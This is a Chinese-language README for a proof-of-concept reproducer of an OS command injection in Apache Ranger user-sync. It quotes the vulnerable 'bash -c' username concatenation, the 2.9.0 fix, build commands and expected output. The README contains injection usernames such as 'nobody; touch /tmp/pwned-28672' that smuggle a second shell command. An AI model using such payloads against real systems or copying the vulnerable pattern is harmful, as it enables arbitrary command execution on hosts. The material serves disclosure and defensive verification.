UnixUserGroupBuilder OS 命令注入Apache Ranger user-sync(unixusersync)模块中 OS 命令注入漏洞的可运行概念验证复现程序。
在枚举每个已同步用户所属的组时,UnixUserGroupBuilder 会通过 shell 执行 id 命令,并将用户名拼接到命令行中:
// ugsync/src/main/java/org/apache/ranger/unixusersync/process/UnixUserGroupBuilder.java (Ranger <= 2.8.0)
Process process = Runtime.getRuntime().exec(new String[]{"bash", "-c", "id -G " + userName});
用户名来自配置的用户同步源(LDAP/AD 或文件),因此可受攻击者操控。包含 shell 元字符的用户名(例如 alice; touch /tmp/pwned)会被作为 OS 命令执行(CWE-77,命令中特殊元素的不当中和)。
mvn -q -DskipTests package
docker compose up --build
# or, without Docker (needs bash/id/touch on PATH):
java -jar target/cve-2026-28672.jar
在易受攻击的代码路径上的预期输出:
[1] Benign username 'nobody':
id -G nobody -> 65534
[2] Malicious username 'nobody; touch /tmp/pwned-28672' (vulnerable <= 2.8.0):
injected command executed? marker /tmp/pwned-28672 exists = true
[3] Same malicious username through the 2.9.0 FIX (id run directly, no shell):
id -G 'nobody; touch /tmp/pwned-28672' -> null
injected command executed? marker exists = false
>>> PROVEN: ... OS command injection (CWE-77): true
Apache Ranger 2.9.0 直接以参数向量形式运行 id,因此用户名是单个字面量参数,永远不会被 shell 解释:
// Ranger 2.9.0
Process process = Runtime.getRuntime().exec(new String[] {"id", "-G", userName});
本仓库中的 UnixUserGroupBuilderVuln.java 逐字包含了这两种写法,并引用了上游源代码。
本仓库仅出于教育和防御目的发布:帮助 Apache Ranger 用户理解该漏洞、确认自己是否受影响,并验证升级到修复版本可以解决该问题。其中使用的载荷是无害的(它会在 /tmp 下创建一个标记文件)。请勿将本材料用于您不拥有或无权操作的系统。
| 属性 | 值 |
|---|
| 项目 | Apache Ranger — org.apache.ranger.unixusersync(user-sync) |
| 分类 | CWE-77 命令中特殊元素的不当中和('命令注入') |
| 攻击向量 | 由 user-sync 源提供的、包含 shell 元字符的用户名 |
| 影响 | 可在 Ranger user-sync 主机上执行任意 OS 命令 |
| 受影响版本 | 从 0.6 到 2.8 |
| 修复版本 | 2.9.0 |
| 安全公告 | lists.apache.org 线程 · CVE-2026-28672 |
| 致谢 | Andrea Cosentino |